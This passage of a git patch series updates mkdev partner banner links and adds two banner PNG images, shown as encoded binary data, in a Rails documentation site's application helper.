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 t7p{-% Date: Thu, 23 Nov 2017 20:29:57 +0300 Subject: [PATCH 346/932] Update mkdev banners --- app/helpers/application_helper.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb index 657b6fdb..6d475072 100644 --- a/app/helpers/application_helper.rb +++ b/app/helpers/application_helper.rb @@ -21,7 +21,7 @@ def opengraph_config def mkdev_random_banner [ { - url: 'https://mkdev.me/?utm_source=rusrails&utm_medium=banner&utm_campaign=rusrails&utm_content=blackfriday', + url: 'http://lp.mkdev.me/blackfriday2017?utm_source=rusrails&utm_medium=banner&utm_campaign=blackfriday', image: 'partners/mkdev/blackfriday.png' }, From aa98908b24ed3ad612cb19b032d0ee037b991326 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 26 Nov 2017 12:07:17 +0300 Subject: [PATCH 347/932] Update mkdev banners --- .../images/partners/mkdev/expertise-2.png | Bin 0 -> 21416 bytes app/assets/images/partners/mkdev/ror.png | Bin 0 -> 9516 bytes app/helpers/application_helper.rb | 33 ++++++------------ 3 files changed, 10 insertions(+), 23 deletions(-) create mode 100755 app/assets/images/partners/mkdev/expertise-2.png create mode 100755 app/assets/images/partners/mkdev/ror.png diff --git a/app/assets/images/partners/mkdev/expertise-2.png b/app/assets/images/partners/mkdev/expertise-2.png new file mode 100755 index 0000000000000000000000000000000000000000..397ecb43f7c2f1d13349bc01f92178a4307e1d12 GIT binary patch literal 21416 zcmaI7Q*b3r7cRWRiEZ2F#G2T)ZQIVoww>(Qwr$(a#7_SAJAc)=JXKv?-Ccdri}lpg zYyDM_6NiVvfdK#j@RAaLlmGy*rT^BRP+&-?RpA*&|0{P*p_?)vsqCj9Ba@pFajOP%4@;pETP$NuK- z_v7W;P~7(F=F!f<@!sLW#N1^6*w@$h$5#JPd;e25#?sWn*7EvD=U`t`_iL5p?8wYm z_i%GreOGPU+hoqg@!8j2&udTM$NR_a)lGX<%j)d%&BfK!;KWOXzt0kMCT-b0O_hE`C{BVRc^R`|DdpX30+x;OFiB;otqw>%Xe(vaiFz;-tKn zr|0jB`PATqw`|bQ?beUE%*^oQw+_pF3aN2f-hKmNl}nT z>V8M!Qf<7y3?tAO?js*&dFkMAyy0TJbW{g0Gqv5E7*OXfK?gx_J)Bly#qe2x@$+x& zw#6wA zl;o5FM~PUCRh;Uc9-3OZm`!B>fP$jrA0ZWwjjOeODNsc$h`n~!67-iJ&aka|Gj#Aq zOI550X=pMNC`eFZEi^2M^GXX`JD80o3+zXXz}mf;6xcNW0C|O&VG9eUiZj!h7tnCS z6Ng!RV+|u$O{gpoLD&|gNg%W_-6R?uU<0|7y>x-YxpjNogP}iJA|PX9XC@aPk7cvS zDhF+<8V*DXeuMg!HLCb7YJ6)9HGe6;#3pu~EsX9?EgVn+Y0JmN2=Cqze*6Vp0_mIL z{!81|332fQRtg?x@+J(HcU=2-85kA&S=CgR88}^koBRvCQbo?9OGkR*PwG$yNd~F=uIe`!}G~1{d=}GeHskMp~eDbMiDUmfArF zh+&F07Gr6bYD@dOTpOH~gw(TZjhLkQL1mYYn`IB}nc=gGM5)9pq&jS??SueayxHKB zJPR9JsNelBZ?6-}fpxhHT7tW7^1Mv0_c@6=aEk?YP{KhSIpjp;;xUIr6O}l z)ru!?(c-kw&dhN{+-2l7vKIT0bmrybTE@kykXf27^BhI?Qv_4Clp@!;?HJ8c{aDd> zixT%S*L(KXTfP&?>5 zCNDQ5P(Dx0q8;V}Y*H6(IrJw_r+HLDBAObaUN>F7;i-1#M(O+V|e+`Sy3W?IxSAztt&fUhk*L8m>H45LH-pA=1S~ z zu6fk1fhR*AF~}wH(6hsfbCWPuYYuE}j7}D>5H2o-#0J11l|ZPRQN_f+hp?Y*xeBh` zkAMl>Y8KZ3- zC`P^BotO}FF!4L8U?Z0})B1JU4{q<;p72|`Xo*jibL&BFnGA5^JAWffZyfH{TRJVq z))MLsY`w>{R-E5T;s+Edaf)3uZp>Lup3!|>ENkE5bbI}L$8q|3@816V@a5U{_M~7x zdJOOE#(&qST_y<=wb$oegs!_mYkHR{he)-)w$iu6X9^tWK?#x?nnb{R2cdeJHf^hs zJ}GLT(*mDaF_a}UE|ey~X$2|$ZjVaBSjc8$;c7R0mG_)J`z@=*rTt%*E#-SHJ zf;WuD2}a|C+GWdoG-%#RD1hcDkMp_r-$D^Z}GI``6NktFkvtFTr zbJM))!2>fqrnO(`(gQ3(3k)Yjagj5>e2krj2C00E8gy4`1{k$kX^9Sl0RyUn<3L1j zdlVCq!$_XoVLg^L4~K<6?;=X=BFE_zBPEWA7ojtB6IduTCoCOLp(Ya(2aS+e5mY#2 zMpe>O$X&PQWj$TBXulntLJ?hKzw`P`@7~SL*BCk|U+ncWQMGA%jWed*_H7uTfCV)< zBLu9}bFbf$iQ_RkW(n%1t$oqw;ea3?>G{pp0MYmTbn_z6VT5RKk)|zI9By&-@LH%C zwKKF{Ra!@h5haB?0C1i1Wlaj}6`e^=8aU9XipPtW^)$XdtcK*?>5$xZ8}D#UYf6!> z9-&c_svb-tO46FdELkydF;J*l3Ls&(C0|I7LWe7+;@TBfb~*YKRswo#Nif<&jM|hh zz@z4`2FwWZQwBYf(6h{W=cgUc2xdl`?es+^V0tl%QAu43rUSlA3LvI@4omnw**owe zv$kJ+rnswnU#{mj2{uU58|2dX=NDIZ_*h5;6QJLR9rh`~wDgV%s3)&wI(Wc=%R`~} z>Zbkvx^P%|*)O9Xd7xdbAAR41wGEA2N6DGaljn~w6GP|aM~~z(9I>qDS#*VG(NbXF z(B;}UX-uR8$Y*piHoLilHgOJIT(^3c@Nbld7+JuRTW8m~yA|mRSb(!z#*&zgUdfUQ zJw@|`PI89}NcrD$GtrCnG{E&FaE!GuCtFx21#YlW(ekJhT-jml^e 